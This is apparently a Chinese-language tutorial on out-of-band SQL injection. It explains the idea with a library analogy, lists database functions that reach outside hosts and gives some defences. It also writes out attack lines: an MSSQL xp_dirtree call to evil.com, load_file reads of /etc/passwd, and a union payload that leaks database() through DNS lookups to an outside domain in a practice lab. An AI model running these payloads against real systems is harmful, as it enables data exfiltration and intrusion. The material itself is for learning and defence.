SQL 带外注入(Out-of-Band SQL Injection, OOB SQLi) 是 SQL 注入的一种特殊类型,主要用于以下情况:
简单类比
想象你在一个图书馆(数据库)里找书,但管理员(安全机制)不允许你直接看书的目录(查询结果)。
- 正常方式:你直接问管理员“有没有《SQL 高手》?”(普通 SQL 查询)。
- 传统注入:你偷偷加一句“把所有书的名字都告诉我”(常规 SQL 注入)。
- 带外注入:你留下一个邮箱(类似 DNS 或 HTTP 服务器),让管理员悄悄把书单发到那里。
如何实现 OOB SQL 注入?
OOB SQLi 主要利用数据库支持的外部通信功能,比如:
MSSQL → xp_dirtree、OPENROWSET 可向远程服务器发送请求
MySQL → LOAD_FILE()、OUTFILE 可读写文件
Oracle → UTL_HTTP、DBMS_LDAP 可向外部服务器发送请求
示例(MSSQL 发送 DNS 请求):
sql">; EXEC master.dbo.xp_dirtree '\\evil.com\share'
攻击者搭建 evil.com 服务器,收到请求后,就能确认 SQL 代码被执行了。
如何防范 OOB SQLi?
使用预编译语句(Prepared Statements),避免 SQL 直接拼接用户输入。
限制数据库访问外部网络,防止数据泄露到攻击者控制的服务器。
开启 Web 应用防火墙(WAF),监测和拦截异常 SQL 请求。
简单来说,OOB SQL 注入就是一种数据库偷偷向攻击者汇报信息的手法,如果不加以防范,攻击者可能绕过安全限制,获取敏感数据。
靶场实现带外注入的条件
条件一:
my.ini中secure_file_priv必须为空
- my.ini 是 MySQL 数据库的配置文件,用来控制 MySQL 的各种行为,比如端口号、数据存储位置、权限设置等。
- secure_file_priv 是 MySQL 里的一个安全机制,用来限制数据库读写外部文件的能力,防止恶意 SQL 代码滥用 LOAD DATA 和 SELECT INTO OUTFILE 等语句。
show variables like "secure_file_priv" //在数据库中展示配置文件中相关参数的值secure_file_priv = //对文件的导入导出无限制
secure_file_priv = null //不允许文件导入导出
secure_file_priv = /tmp //指定文件导入导出限制在/tmp目录下load_file("/etc/passwd") //导入
select 1,2,3 into outfile "/tmp/1.txt" //导出
条件二:
windows环境
UNC路径:windows共享资源的访问方式
\172.23.100.100\abc\
带外,从dnslog看数据
触发dns请求
构造一种域名使得目标发起对域名的解析
通过load_file构造一个远程资源请求
\xxx.xxx.com\1.txt
xxxxxx.vybunimo.com
load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’))
select x,x,x from xxxx where id = ‘1’ union select 1,2, load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’)) #